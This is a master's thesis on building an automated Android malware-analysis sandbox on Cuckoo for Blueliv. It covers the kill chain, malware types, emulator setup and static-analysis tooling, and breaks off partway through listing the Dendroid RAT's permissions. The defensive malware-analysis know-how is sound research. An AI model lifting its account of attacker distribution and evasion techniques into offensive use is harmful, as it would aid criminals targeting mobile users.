
 

 

 
 

 

 

 
 
 
ANDRIK 
Automated Android malware analysis 

 
 
 

Student: Victor Acin Sanz 
Project director: Marco Antonio Lozano Merino 

Project realized at: Blueliv 
TFM-MISTIC 

2017-01-09 

 



Abstract 

The cybercrime industry is rapidly improving and expanding, and this concerns mobile devices as well. Trojan                
bankers not only affect end-user computers, but are spreading in other platforms. In this particular case, Blueliv, a                  
cyber-threat intelligence provider wants to improve its capabilities to detect these threats and to mitigate them. To do                  
so, they want to expand the amount of samples analyzed by their sandbox to Android applications. Because there are                   
already some solutions available, the approach followed has been to integrate one of these solutions into their                 
sandbox systems, performing any adaptations required to provide the sandbox with stability, and efficiency. Using               
this sandbox, Blueliv will also be capable of classifying and extracting information from known samples. This                
document explains how this integration has been performed, how one can analyze Android malware samples, and                
how to use the results of this analysis to allow the Sandbox to classify and extract information from the analyzed                    
samples. 
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1. Introduction 
 
The cybercrime industry is constantly evolving and every day emerge new malware threats such              
as Trojan Bankers, PoS malware (malware that focus on Point of Sale systems), Credential              
Stealers, Ransomware, RATs, etc. All the information stolen by this type of malware is being               
used afterwards by the threat actors (the actual cybercriminals responsible for deploying and             
managing the botnet) to obtain some sort of revenue by either selling it in underground forums                
and marketplaces, or by using it to carry out other fraud operations. 
 
Due to the incredible proliferation of mobile technologies and IoT devices (Internet of Things              
devices), the organized crime gangs that operate in the Internet are starting to develop more               
and more Trojans that affect this kind of environments with the objective of infecting users and                
steal different types of data, such as credentials, credit cards, or to even perform fraudulent,               
unauthorized, banking transactions in their name. 
 
For this reason, it has been decided to develop countermeasures to fight this type of threat, by                 
creating an automated malware analysis system focused on Android devices that is capable to              
obtain information about the analyzed sample. 
 

2. Objectives 
 
As it has been explained in the previous section, there is a growing need to identify the new                  
malware threats that are being developed for Android devices. 
 
The main objective of the project consists of adapting the existing analysis platform for Windows               
malware in Blueliv, so that it can be used to analyze, classify and to extract intelligence from                 
malware designed to be used in Android devices. 
 
To reach this objective, it will be necessary to understand how the malware developed for this                
platform works, and how to analyze it and integrate it into the Blueliv’s proprietary sandbox. 
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3. Methodology 
 
The project requires two different methodologies. A methodology for development, and a            
methodology to carry out when manually analyzing malware. 
 
The methodology used for development will be the same that is being currently used at Blueliv,                
the Agile methodology. It basically comes down to subdivide every development objective in             
sprints (periods of one or two weeks with generic objectives), and to atomize these objectives in                
tasks called stories. 
 
As for the analysis methodology, the analyst will use the same methodology used at Blueliv,               
which consists of multiple phases: 

1. Compilation of information: Except for some exceptional cases, most malware samples           
have already been analyzed and the results of the analysis have been published on the               
internet. This phase will attempt to collect this information to facilitate the analysis.  

2. Preliminar analysis: The analyst uses multiple tools to statically extract information from            
the sample, such as metadata, strings, or libraries used by it. 

3. Behavioral analysis: The behavioral analysis consists of executing the sample manually           
in a virtual environment to observe what changes does the sample perform on the              
infected system, how it communicates over the internet to its command and control             
system, as well as other events of interest. 

4. Static analysis: This phase allows the analyst to analyze the disassembled or            
decompiled code of the sample in order to understand what actions it can perform, and               
how are these carried out. 

5. Dynamic analysis: If necessary, it’s also possible to perform a dynamic analysis of the              
sample using debugging techniques. 

The phases 3, 4, and 5 might be executed in a different order depending on the preferences of                  
the analyst. 
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4. The kill-chain and malware 
 
Before actually starting to develop a Sandbox, it’s necessary to investigate how the cybercrime              
industry works and what types of malware are out there, so that we will have an insight on what                   
are the most common infection mechanisms, and therefore, how to obtain samples, and how              
these samples typically operate. 
 

4.1 The kill-chain 
 
The kill-chain is a process used to describe how threat actors (botmasters and cybercriminals in               
general), deploy malware, specially Trojans: 
 

 

Figure 1.Phases of the kill chain 

 

The kill chain is comprised of the following steps: 

● Reconnaissance: In this stage, the cybercriminals obtain information about the target of            
their attack and gather all the intelligence they need to perform the attack, such as a list                 
of potential targets for a phishing campaign. 
 
This intelligence is gathered from forums and underground chat channels where the            
different cybercriminals promote their services, request information, or to instruct other           
interested cybercriminals on how to perform some of the most basic types of fraud: 
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Figures 2,3. Services being offered in underground forums 

 
When announcing a service, they typically describe some basic characteristics of their            
service, along with the price and a contact email so that any potential customers can               
contact them: 

 
Figure 4. Description of an illegal SMTP service 

 
● Weaponization: Once the reconnaissance stage has been completed, the         

cybercriminals obtain all they need to launch the attack by crafting it themselves, buying              
it, or finding a free tool that suits their needs. Like any other legitimate user or business,                 
they will need software (malware builders, phishing kits, exploit kits, spam kits) and the              
infrastructure to support it. 
 
When acquiring the infrastructure, threat actors will use compromised servers which           
have been either bought or acquired by themselves, or legitimate servers or hostings. 
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● Lure: In this stage, the cybercriminals normally use social engineering techniques to lure             
their victims, making them take actions that such criminals require in order to launch              
their attack and move onto the exploitation stage. 
 
Among these techniques, you can find spam campaigns, phishing campaigns and           
malvertising, which is the practice of setting up a malicious payload in a legitimate site               
using an advertisement. 

In Android, another typical technique used to infect mobile devices, is to publish the              
malicious application in the market, posing either as a legitimate application (like            
Whatsapp) or with some sort of content that will lure the users to install it. 

● Redirection and Exploitation: Once the victims have been lured into visiting an            
infected URL or opening an infected file, the exploitation phase begins. If the criminals              
are attempting to steal the credentials to a service using a phishing site, the attack will                
finish here. 
 
If, on the other hand, they are trying to spread malware or deploy a botnet, the                
cybercriminals will now use a malicious payload to infect the user’s device (be it a               
computer or an Android smartphone). 
 
There are different techniques to accomplish this goal. Some opt for setting up an exploit               
kit, waiting for the users to access an infected website which will redirect them to it, and,                 
by exploiting a vulnerability in their browser (either the Android native browser, or             
whichever browser they have installed), it will deploy the malware. Others, send a spam              
campaign with links to malicious applications. 
 
Depending on the type of malware, the threat actors will have to devise new strategies to                
infect devices. 
 
See the following sample administration panels related to Phoenix Exploit Kit (left) and             
Blackhole (right) showing information about successfully infected machines (take into          
account that both exploit kits are aimed at targeting Windows machines, not Android             
devices): 
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Figures 5,6. Panels of Phoenix Exploit kit (left) and Blackhole (right) 

 
● Infection: ​During the infection phase, the actual malware is deployed in the            

compromised device. Some groups prefer to first deploy a type of malware called             
Loader, which is used exclusively to deploy more complex malware.  
 
Every step up to this point can be acquired as a service. A very good example of this can                   
be found in our latest report; where we found that the newest Vawtrak sample was being                
distributed by a group we named Moskalvzapoe, which provided up to 85,000 infections             
in about six months.  
 

● Command and Control: Once infected, the malware itself begins to operate. Typically            
when executed, most malware sets itself up, gains persistence on the system, and             
contacts its command and control server for further instructions. In the case of a botnet,               
the compromised device becomes part of a huge network of infected equipment (known             
as a botnet). Each machine/device in this network is commonly known as bots or              
zombies. All the bots can be manipulated and controlled by the command and control              
server. 
 

● Data Theft: ​When the bot has been deployed, and has contacted the command and              
control server, it starts to operate. What will the bot do depends on the type of botnet the                  
threat actor is deploying. 

After reporting the stolen data to the command and control server the threat actors will begin                
to monetize their actions by selling the data to private customers or marketplaces, or by               
offering their services. 
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By analyzing the kill-chain, we now know how a typical threat-actor operates, how does he               
distribute its malware, and what to expect once the malware is deployed in the command               
and control server. 

4.2 Malware classification 
As explained previously, what type of data will a bot steal depends on the type botnet the threat                  
actor deploys. one of the most prominent issues there are when classifying malware, especially              
Trojans, is that malware is typically classified by their capabilities, but one family isn’t limited to a                 
one capability owner. For example, you may have a malware that is capable of performing a                
Denial of Service attack, and at the same time, can steal information from the compromised               
device. 

Still, it’s possible to classify malware botnets based on their major trait: 

● Ransomware​: Ransomware is the type of malware that has the broader scope. A             
cybercriminal deploying Ransomware will attempt to infect as many systems as possible            
without worrying so much about what type of system is. From a home computer or               
smartphone,, to a corporate server, it can target anything. 
 
Once the ransomware infects the system, it begins to encrypt the user files with a key                
that has shared with the command and control server. Afterwards, it will show a              
message to the user demanding a ransom in exchange for the key to decrypt the files. 
 

● Credential stealers​: Information stealers or credential stealers are a type of Trojan that             
aims to infect users (corporate or not) in order to retrieve the credentials stored in the                
device. 
 
After infecting a device, and as long as it has permissions, it searches the browser vaults                
(especial files that contain the stored credentials), and the directories of other            
applications, in order to acquire as many credentials as possible, and sends them to the               
command and control server. When posing as another application, Credential Stealers           
can also be used as a spear phishing application, requesting login information from the              
user for a service. 
 

● Trojan bankers​: Trojan bankers are a specialization of the Credential stealers that aim             
to steal banking information from the user. They have evolved to be more dangerous,              
stealthy and advanced than their counterpart, and have capabilities to steal banking            
credentials, or to redirect transactions to an account of their choosing. Typically, they             
need a more complex infrastructure to support them compared to the other types of              
Trojan. 

 
 

● Distributed Denial of Service (DDoS)​: Malware aimed for denial of service are typically             
deployed in as many systems as possible, in order to overpower the network of the               
targeted device. 
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A very interesting case for this type of malware can be found in the recently discovered                
Mirai botnet. This botnet scours the internet for IoT (Internet of Things) devices, and it               
attempts to log in to them using a brute force attack. This is the botnet used to attack the                   
Dyn DNS servers in the United States. 

 
● Spyware: This type of trojan is actually very common in mobile devices. They take              

advantage of the camera, the microphone, the access to the SD, and to the SMS and                
contact lists, to extract information about a target in order to use it in other attacks, or to                  
sell it. 

 
● Spammers: Spammers are another typical malware application used in mobile devices.           

By posing as an email client and requesting the login information from the user, they are                
able to send spam emails from the device. 

 
● Premium SMS scams: Premium SMS applications use the phone in order to send SMS              

to telephone numbers that perform an additional charge per SMS received, effectively            
stealing money from the infected user. 

 
In order to feed the sandbox with the different types of malware shown above, we can use                 
multiple resources. From crawling websites that provide researchers with free malware samples            
such as amtrckr.info: 
 

 
Figure 7. Screenshot of amtrckr.info showing multiple command and control servers 

 
To using Blueliv’s private access to Virustotal to set up ‘hunting’ rules (in the form of Yara rules)                  
that will allow us to retrieve samples that match the rule, or to search VirusTotal using simple                 
queries such as specifying the file type as APK and requiring a minimum number of positive                
detections. 
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5. Android Sandbox platforms 
 
Android typically runs in ARM mobile devices, and when choosing which platform is going to be                
used to build the sandbox, we will have to decide between speed, capabilities and the running                
cost of it. 
 
In order to select the platform to use, it's necessary to decide between emulation, virtualization               
and physical devices, as well as what processor architecture is going to be used: 
 

● Virtualization: Using a virtualized Android device running on top of one of the most              
common virtualizations softwares (such as VirtualBox, Qemu, or VMWare) provides          
many advantages. For starters, these platforms have been optimized for production           
environments and take advantage of all the available optimizations available in most            
host providers. On the other hand, most of these platforms aren’t capable of emulating              
basic smartphones capabilities, like performing or receiving calls, and sending or           
receiving sms messages, which are sometimes used by the malware to identify if it’s              
being run in a sandbox, or simply required in order to function.  

 
● Emulation: The Android SDK provides a device emulator, called Android Virtual Device,            

which allows the developer to emulate certain smartphone and tablets models, along            
with their available capabilities, and different types of processors. The emulator runs            
smoothly when using the same processor technology as the host machine, but when the              
technologies differ, such as when using ARM on x86, the emulator slows down             
considerably. 

 
● Physical device: Using a cluster of physical devices is probably the best option in order               

to provide all the capabilities required by the malware to function, but it also presents two                
different problems. First of all, the cost of having one physical device is several times               
higher than having an emulator or a virtualization system in a remote environment. The              
second issue, is that this system isn’t as scalable as the other two because the cost of                 
increasing the amount of devices is fixed, and it’s still necessary to keep them              
somewhere (probably inside the facilities of the organization developing the sandbox). 

 
As for the architecture used, in the last case, physical devices, the architecture is given with the                 
device, and all of them use ARM processors. For emulation and virtualization there are two               
different options: 
 

● x86: This is the most common type of architecture running on host providers in all the                
world, and typically has the best cost/capabilities ratio of the market, due to the demand.               
Using this architecture, though, has several disadvantages, the most important one           
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being that all the malware samples that use external precompiled libraries won’t be able              
to run in our sandbox environment. 

 
● ARM: The second choice is to use a dedicated ARM host, which would allow the               

virtualized machines to execute native code when needed, as well as allowing the             
emulator to execute properly.  

 
The following table contains a resumed comparison between the different platforms and their             
advantages and disadvantages: 
 

Platform Advantages Disadvantages 

x86 ● Economic cost 
● More resources available 

● Can’t execute native   
binaries 

● No emulation of required    
capabilities 

● Easily detected by   
anti-vm techniques. 

ARM ● Speed 
● Execution of native binaries 

● It will be necessary to     
cross-compile tools to be    
used in ARM. 

● Limited emulation of   
required capabilities 

● Easily detected by   
anti-vm techniques. 

Cluster of  
physical 
devices 

● Speed 
● Execution of native binaries 
● All device capabilities   

available 

● Very high cost 
● Scalability 

 
Currently, Blueliv’s sandbox is running on x86 machines. Because the main objective of this              
project is to expand the capabilities of this sandbox, for now, it will be deployed in an x86                  
machine.  
 
After weighing the advantages and disadvantages of the emulator, it has been decided as well               
to use the Android Virtual Device instead of a virtualized Android, favoring the execution of               
native binaries instead of the speed of analysis. 
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6. The sandbox 
The next step, after deciding which technology will be used to integrate the Android malware               
analysis into Blueliv systems it’s necessary to understand how their sandbox works and what              
changes will be necessary to add this new feature. 

6.1 Blueliv Sandbox 
Blueliv is a cyberthreat intelligence provider that uses their sandboxing systems to process             
millions of samples monthly to extract relevant information about the samples, their targets, and              
how the threat actors operate, in order to protect their clients from both potential and actual                
threats. 

Their sandboxing system is based on Cuckoo V2 RC1, but its core and most of the modules                 
have been heavily modified to increase the efficiency of the system, and to detect and process                
the latest types of cyberthreats. 

Due to the confidentiality processes of the company, it’s not possible to disclose the changes               
made to the actual sandbox, and instead, only an overview of the changes made will be                
presented in this section of the document. 

6.2 Cuckoo 
Cuckoo is an open source automated analysis system that is capable of automatically running              
and analyzing files, while collecting comprehensive analysis results that outline what the            
malware does while running isolated in a virtual machine, or in this case, an emulator. 

One of the most interesting features of Cuckoo is its modular design, which allows anyone to                
easily customize the whole sandboxing system. 

6.2.1 How it works 

Cuckoo sandbox consists of a central management software (from now on called ‘the host’) that               
handles the sample execution and the analysis, and a number of guests in which the analysis is                 
run. 

Whenever the host needs to launch a new analysis, it selects a guest, and uploads the sample                 
to analyze along the components needed by the guest to operate. 

The following image shows the Cuckoo infrastructure: 
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Figure 8. Cuckoo infrastructure 

6.2.1.1 The host 

When Cuckoo first starts, it initializes all of the modules, the configurations needed to operate,               
and it starts the ResultServer (which is a component used to retrieve the results of the analyses)                 
waits for incoming tasks. 

Whenever a new task is sent to Cuckoo, it first identifies what type of file it is, and using one of                     
the machinery modules, used to interact with the different possible virtualization systems, and             
its config, it deploys what is known as the analyzer inside one of the available virtual machines. 

The analyzer is a component of the guest that will be explained in the next section. 

After the analysis has finished, the analyzer sends the results of the analysis to the               
ResultServer, which in turn will execute whichever processing modules are configured (the            
modules used to populate the product of the analysis, the report) and generate the report. 

6.2.1.2 The guest 

The guest is the virtualized machine in which the analysis takes place. The only component it                
has, is the monitoring system (in charge of monitoring the execution of the sample, registering               
its behavior) and the agent. 
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The agent is a python script that waits listening to a port in the guest machine. When a new                   
analysis is launched in that machine, the host sends the corresponding analyzer (the             
component in charge of managing the analysis inside the machine) and the package module              
used to execute the sample sent, which depends on the type of sample. 

For example, the package used to execute an exe file will be different from that used to open a                   
PDF sample, or a ZIP file. 

When the sample finishes it execution, or a timeout is reached, the analyzer stops the analysis,                
gathers the results from the monitor, and sends them back to the result server. 

6.3 Installation 
To integrate the Android malware analysis into Blueliv’s infrastructure, two different projects            
were used; the current Cuckoo V2, which supposedly has support for Android analysis, even              
though it’s deprecated, and the Cuckoo-Droid project, an Android malware analysis project            
based on Cuckoo V1. 

The main objective is to use Cuckoo V2 for the host integration, and the Cuckoo-Droid project                
for the guest integration.  

6.3.1 The host 

As stated previously, I’m not at liberty to disclose the changes made to the host in order to                  
adapt Cuckoo V2 to the Blueliv systems, but instead, I can share an overview of the changes: 

● The Cuckoo host requires multiple components to operate. First of all, it needs a way to                
interact with the virtual machine, or in this case, the emulator. This was done by adapting                
the AVD machinery module found in Cuckoo V2 to work with the infrastructure of Blueliv,               
along with setting the correct options in its configuration file, avd.conf. 

● The ResultServer provided with Cuckoo V2 was not compatible with the setup used for              
the integration. Several changes had to be made to support the analysis of malware              
using an Android emulator. 

● Multiple processing modules, including droidmon, apkinfo, and network, had to be fixed            
to improve the resilience of the module when dealing with inconsistent data extracted for              
the analysis. 

● It as also necessary to configure the files cuckoo.conf, auxiliary.conf, processing.conf,           
and reporting.conf for the installation. The dependencies required by Cuckoo were           
already met. 
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6.3.2 The guest 

The installation of the guest has been performed by following the instructions provided by the               
developer of Cuckoo-Droid. 

The analyzer and the agent used, are those provided by Cuckoo V2 to prevent more               
compatibility issues between the Blueliv sandbox and the emulator. 

The setup chosen to perform the integration, is to use an AVD running directly on top of the                  
host, as shown in the following figure: 

 
Figure 9. Interaction between AVD and Cuckoo 

The emulator requires the following components to operate: 

● Python 2.7 compiled to arm. 
 

● Agent.py python script modified for the android emulator. 
 

● Android analyzer component that is sent to the guest machine at the beginning of the               
analysis. 
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● Xposed - a framework for modules that can change the behavior of the system and apps                
without affecting any APKs. We created 2 additional modules with this framework: 
 

● Droidmon - Dalvik API call monitoring module. 
 

● Emulator anti-detection - a collection of known anti-detection techniques for hiding the            
android emulator. 
 

● Superuser app - grants and manages Superuser rights for your phone. 
 

● Content Generator - generates a random contact list for a more realistic appearance. 
 

● AAPT Arm - Android asset packaging tool compiled to arm for extracting the main              
activity and package name from the APK. 

The first step to deploy the emulator, is to download the Google SDK, and to install the Android                  
SDK Tools, the Android Platform-tools, the Android SDK Build tools, and the desired Android              
API level (the version of android used for the emulator): 

 
Figure 10. Installed packages from Android SDK Manager 

The author of Cuckoo-Droid uses the API level 16 (Android 4.1.2). At first, the choice seems                
outdated, taking into account that the most recent version of Android is API 25 (Android 7.1.1),                
and taking into account the distribution of versions among the actual function devices it seems               
like a good idea to choose a newer version of Android: 
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Figure 11. Amount of active devices per API level 

The first problem appears when attempting to install one of the components, the Xposed              
framework. In order to install it in the most recent versions, Android 5.0 or more, a technique                 
called flashing is required, which isn’t available for emulators because it requires a bootloader. 

For some unknown reason, I also found some stability issues when using Android KitKat, which               
became unresponsive with more frequency than Android Jelly Bean, and so, I decided to              
continue using the same version as the developer of Cuckoo-Droid, Android 4.1.2. 

The next step is the creation of the emulator, inputting the same configurations specified by the                
Cuckoo-Droid guide: 
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Figure 12. Configuration of the AVD 

After finishing the creation of the emulator, the only thing left to do was to start it and install the                    
requirements in the emulator. For this purpose, Cuckoo-Droid provides an script to move the              
necessary files into the machine: 
 

mlwbot@andrik /opt/sdk/tools/$ ./emulator -avd AND4.1.2v2 -gpu off -qemu -nand 
-system,size=0x1f400000,file=/opt/sdk/system-images/android-16/default/armeabi-v7a/sy
stem.img& 
mlwbot@andrik:/opt/cuckoo-droid/utils/android_emulator_creator$ ./create_guest_avd.sh  
[...] 
Device is ready! 

Afterwards, the only thing left to do is to configure the device itself by: 

1. Disabling the lock of the device 
2. Extending the time the device stays awake to 30 minutes 
3. Execute the application that generates the contact list 
4. Open the Supersu application 
5. Open the Xposed framework application, enable the droidmon and Anti-anti-vm          

modules, install them 
6. Soft reboot the phone from the Xposed app. 
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The configuration of the device is finished: 

 
Figure 13. Result of installing the Xposed framework 

The only issue is that after closing the emulator, the Xposed installation is lost. 

Android uses multiple partitions for different folders of the device. In this case, the issue is that                 
all changes made to the ​/system partition of the device are lost once the emulator is closed. And                  
this happens whether you specify which file to use as a system partition (as seen in the previous                  
command) or not. 

Most of the workarounds found in the internet no longer worked for this version of the emulator.                 
Another solution that came to mind was to modify the machinery module to use the snapshot                
functionality incorporated in the AVD module, without luck. 

In the end, it was possible to preserve the changes to this partition using the following                
work-around: 

1. Making a copy of the system image used and moving it into the folder of the AVD                 
machine 

2. Renaming it to system-qemu.img (because AVD uses Qemu for the emulation, it’s            
possible to specify which system image the emulator has to use by assigning it this               
name, and placing it inside the designated AVD folder) 

3. Starting the emulator in Snapshot mode 
4. Performing the installation of the machine as specified in the documentation 
5. After closing the machine, disabling the Snapshot feature and enabling the Host GPU             

again. 
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There have been also some problems with the way the networking operates in the emulator and                
the host. The emulator runs on a NAT network managed by the device itself, and is able to                  
communicate with the loopback interface of the host through the IP 10.0.2.2, but due to some                
issues with the ResultServer, this service crashed every time the emulator tried to communicate              
with it. 

Once all the issues were solved, the integration was finished successfully: 
 

 _____________________________________/\/\_______________________________ 
  ___/\/\/\/\__/\/\__/\/\____/\/\/\/\__/\/\__/\/\____/\/\/\______/\/\/\___ 
  _/\/\________/\/\__/\/\__/\/\________/\/\/\/\____/\/\__/\/\__/\/\__/\/\_ 
  _/\/\________/\/\__/\/\__/\/\________/\/\/\/\____/\/\__/\/\__/\/\__/\/\_ 
  ___/\/\/\/\____/\/\/\/\____/\/\/\/\__/\/\__/\/\____/\/\/\______/\/\/\___ 
  ________________________________________________________________________ 
 
 Cuckoo Sandbox 2.0-dev 
 www.cuckoosandbox.org 
 Copyright (c) 2010-2015 
 
Checking for updates... 
2016-12-26 18:03:55,861 [lib.cuckoo.core.scheduler] INFO: Using "avd" as machine 
manager 
2016-12-26 18:03:55,945 [lib.cuckoo.core.scheduler] INFO: Loaded 1 machine/s 
2016-12-26 18:03:55,951 [lib.cuckoo.core.scheduler] INFO: Waiting for analysis tasks. 
 

Now that the integration is completed, we can begin to analyze malware in order to understand                
how it works, and how can we classify it automatically using our own knowledge, and the                
sandbox. 
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7. Static android malware analysis 
 
Android malware, like most malware, can be analyzed statically and dynamically. The static             
analysis involves the use of multiple tools to unpack the malware sample, and look at the                
bytecodes of the Android application and the assembly of the native code found in the               
application, if any. 
 
The dynamic analysis, on the other hand, consists of executing the malware sample on a               
controlled environment, such as a sandbox, and observing the behavior of the malware sample              
and the networking. 
 
Using both types of analysis allows the analyst to comprehend exactly what kind of sample is he                 
dealing with, and how it operates. 
In this section only the static analysis will be explained. 

7.1 Android applications 
Android applications are built using four basic types of components. Each component is used by               
the system or a user to interact with the application: 
 

● Activities: The activity is a single interface used to communicate with the user. Every              
application is composed by one or more activities through which the user can interact              
with the application itself. Activities can’t be used to perform tasks that take a long time                
to finish, such as performing an HTTP Request. If they stay non-responsive for more              
than five seconds (this condition is known as ANR), the system kills it. 

● Services: Services are used to keep an application running in the background in order to               
perform operations that take a lot of time, or to communicate remotely. 

● Content providers: Content providers are used to allow applications to access           
information created or gathered by a third application. For example, the Android system             
has a content provider that allow other applications to access the contacts information. 

● Broadcast receivers: Broadcast receivers are a component that allow the system to            
interact with the applications, notifying them of events (such as alarms or having a low               
battery level). 

 
All Android applications are distributed and installed using APKs (or application packages), and             
therefore, when analyzing Android malware samples, we will be forced to deal mostly with              
APKs. 
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APKs are actually a ZIP file with the following files and directories: 
 

● META-INF​ directory: 
● MANIFEST.MF​: the Manifest file. This file contains information about the          

application itself. 
● CERT.RSA​: Every application is signed with a certificate that can be found in this              

file. 
● CERT.SF​: The list of resources and SHA-1 digest of the corresponding lines in             

the MANIFEST.MF file; for example: 

 
Signature-Version: 1.0 
Created-By: 1.0 (Android) 
SHA1-Digest-Manifest: wxqnEAI0UA5nO5QJ8CGMwjkGGWE= 
Name: res/layout/exchange_component_back_bottom.xml 
SHA1-Digest: eACjMjESj7Zkf0cBFTZ0nqWrt7w= 
Name: res/drawable-hdpi/icon.png 
SHA1-Digest: DGEqylP8W0n0iV/ZzBx3MW0WGCA= 
 

● lib​: This directory contains native compiled code that is used as a library by the               
application. 

● res​: Some resources are compiled into the resources.arsc file. The rest are stored in this               
directory. 

● assets​: a directory containing applications assets. 
● AndroidManifest.xml​: The Android manifest file is used to describe the application, and            

contains a lot of useful information, such as the name, version, access rights, referenced              
library files for the application, and the different components of the application (activities,             
content providers, etc). 

● classes.dex​: The Java classes compiled in the dex file format understandable by the             
virtual machine interpreting the bytecode (Dalvik or ART) . 

● resources.arsc​: a file containing precompiled resources, such as binary XML for           
example. 

 
The static analysis of the application consist of unpacking all of this information, and then               
reading and understanding the bytecode found in the classes.dex file, as well as analyzing the               
libraries found in the lib directory. 
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7.2 The tools 
The tools used to perform the static analysis in this document are the following: 

1. APKTool: Used to decode resources and disassemble the classes.dex. 
2. Androguard: A collection of tools used to quickly obtain information about the sample,             

such as which libraries it uses or the list of resources. Can also decompile code using                
the DAD decompiler. 

3. Dex2Jar: This tool can convert .dex files to .jar files, which later on can be decompiled by                 
a Java decompiler. 

4. Procyon: A Java decompiler. 

7.2.1 APKTool 
 
To perform static analysis of Android applications, the first and most important tool to have is                
one capable of decoding the resources of the application, and to disassemble the classes.dex in               
order to obtain the bytecode in a readable form. 
 
APKTool is a basic tool that can be used to decode and build APK packages. 
 
The tool only requires Java 7 and can be used from the command line: 
 

mlwbot@andrik /opt/apktool $ java -jar apktool_2.2.1.jar 
Apktool v2.2.1 - a tool for reengineering Android apk files 
with smali v2.1.3 and baksmali v2.1.3 
Copyright 2014 Ryszard Wiśniewski <brut.alll@gmail.com> 
Updated by Connor Tumbleson <connor.tumbleson@gmail.com> 
 
usage: apktool 
 -advance,--advanced   prints advance information. 
 -version,--version    prints the version then exits 
usage: apktool if|install-framework [options] <framework.apk> 
 -p,--frame-path <dir>   Stores framework files into <dir>. 
 -t,--tag <tag>          Tag frameworks using <tag>. 
usage: apktool d[ecode] [options] <file_apk> 
 -f,--force              Force delete destination directory. 
 -o,--output <dir>       The name of folder that gets written. Default is apk.out 
 -p,--frame-path <dir>   Uses framework files located in <dir>. 
 -r,--no-res             Do not decode resources. 
 -s,--no-src             Do not decode sources. 
 -t,--frame-tag <tag>    Uses framework files tagged by <tag>. 
usage: apktool b[uild] [options] <app_path> 
 -f,--force-all          Skip changes d.etection and build all files. 
 -o,--output <dir>       The name of apk that gets written. Default is dist/name.apk 
 -p,--frame-path <dir>   Uses framework files located in <dir>. 
 
For additional info, see: http://ibotpeaches.github.io/Apktool/ 
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For smali/baksmali info, see: https://github.com/JesusFreke/smali 

 

7.2.2 Androguard 
 
Androguard is a python-based tool that allow the analyst to interact with the application in many                
different ways. From decompiling and extracting resources, to retrieving the permissions and            
listing other interesting information: 
 

mlwbot@andrik /opt/apktool $ andro 
androaxml.py   androdd.py     androgexf.py   androlyze.py   androsim.py 
androcsign.py  androdiff.py   androgui.py    androsign.py 

 

mlwbot@andrik /opt/apktool $ androlyze.py -h 
Usage: androlyze.py [options] 
 
Options: 
  -h, --help            show this help message and exit 
  -i INPUT, --input=INPUT 
                        file : use this filename 
  -d, --display         display the file in human readable format 
  -m METHOD, --method=METHOD 
                        display method(s) respect with a regexp 
  -f FIELD, --field=FIELD 
                        display field(s) respect with a regexp 
  -s, --shell           open an interactive shell to play more easily with 
                        objects 
  -v, --version         version of the API 
  -p, --pretty          pretty print ! 
  -x, --xpermissions    show paths of permissions 

 

7.2.3 Dex2Jar 
Dex2Jar is a tool that allows the analyst to convert dex files to jar files. This is very useful                   
because it allows for the use of Java decompilers to analyze Java code close to the original                 
source code of the application or malware. 
 

mlwbot@andrik /opt/d2j $ bash d2j-dex2jar.sh  
d2j-dex2jar -- convert dex to jar 
usage: d2j-dex2jar [options] <file0> [file1 ... fileN] 
options: 
 -d,--debug-info              translate debug info 
 -e,--exception-file <file>   detail exception file, default is $current_dir/[fi 
                              le-name]-error.zip 
 -f,--force                   force overwrite 
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 -h,--help                    Print this help message 
 -n,--not-handle-exception    not handle any exception throwed by dex2jar 
 -nc,--no-code 
 -o,--output <out-jar-file>   output .jar file, default is $current_dir/[file-na 
                              me]-dex2jar.jar 
 -os,--optmize-synchronized   optmize-synchronized 
 -p,--print-ir                print ir to Syste.out 
 -r,--reuse-reg               reuse regiter while generate java .class file 
 -s                           same with --topological-sort/-ts 
 -ts,--topological-sort       sort block by topological, that will generate more 
                               readable code, default enabled 
version: reader-2.0, translator-2.0, ir-2.0 

 

7.2.4 Procyon 
The last tool used for the analysis is Procyon. Even though there are more decompilers for                
Java, such as JAD (which is no longer continued) or JD-GUI, Procyon is one of the few that has                   
support for language features found in Java 5+, and that is still being maintained. Another               
“feature” that is important to take into account, is that Procyon can be used from the command                 
line directly, without needing an interface. Using a Java decompiler will allow for a better               
understanding of the code of the application being reviewed. 
 

mlwbot@andrik /opt/procyon $ java -jar procyon-decompiler-0.5.30.jar  
Usage: <main class> [options] <type names or class/jar files> 
  Options: 
    -b, --bytecode-ast 
       Output Bytecode AST instead of Java. 
       Default: false 
   ​[...] 
    -?, --help 
       Display this usage information and exit. 
       Default: false 
    -jar, --jar-file 
       [DEPRECATED] Decompile all classes in the specified jar file (disables 
       -ent and -s). 
   ​[...]  
    -o, --output-directory 
       Write decompiled results to specified directory instead of the console. 
    -v, --verbose 
       Set the level of log verbosity (0-3).  Level 0 disables logging. 
       Default: 0 
        --version 
       Display the decompiler version and exit. 
       Default: false 
    -ln, --with-line-numbers 
       Include line numbers in raw bytecode mode; supports Java mode with -o 
       only. 
       Default: false 
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7.3 Analyzing a sample 
The sample analyzed is a simple Android RAT called Dendroid. The source code of the sample                
is public, and can be found in github. 
 
The analyzed sample has the following SHA256: 

● 099a57328de9335c524f44514e225d50731c808145221affdd684d8b4dad5a1d 
 
The first step is to load the application with Androguard. This will allow us to get an overall look                   
at the application, list the amount of classes or the permissions: 
 

mlwbot@andrik ~/android-malware/Dendroid $ androlyze.py -p -s 
In​ ​[​1​]:​ a​,​d​,​dx ​=​ ​AnalyzeAPK​(​"com.parental.control.v4.apk") 

 
The parameter ​-s will prompt us with an interactive console. AnalyzeAPK will analyze the APK               
file and store the results in ​a​ , then it will parse the dex file, and store the results in ​d​ , and                     
analyze the dex file as well and store the results in ​dx​ . Using the function ​get_permissions() we                 
retrieve the permissions required by the application: 
 

In​ ​[​2​]:​ a​.​get_permissions​() 
Out​[​2​]:  
[​'android.permission.INTERNET'​, 
 ​'android.permission.READ_SMS'​, 
 ​'android.permission.WRITE_SMS'​, 
 ​'android.permission.GET_ACCOUNTS'​, 
 ​'com.android.browser.permission.READ_HISTORY_BOOKMARKS'​, 
 ​'android.permission.ACCESS_NETWORK_STATE'​, 
 ​'android.permission.READ_CONTACTS'​, 
 ​'android.permission.ACCESS_FINE_LOCATION'​, 
 ​'android.permission.GET_TASKS'​, 
 ​'android.permission.WAKE_LOCK'​, 
 ​'android.permission.CALL_PHONE'​, 
 ​'android.permission.SEND_SMS'​, 
 ​'android.permission.WRITE_SETTINGS'​, 
 ​'android.permission.READ_PHONE_STATE'​, 
 ​'android.permission.WRITE_EXTERNAL_STORAGE'​, 
 ​'android.permission.CAMERA'​, 
 ​'android.permission.RECORD_AUDIO'​, 
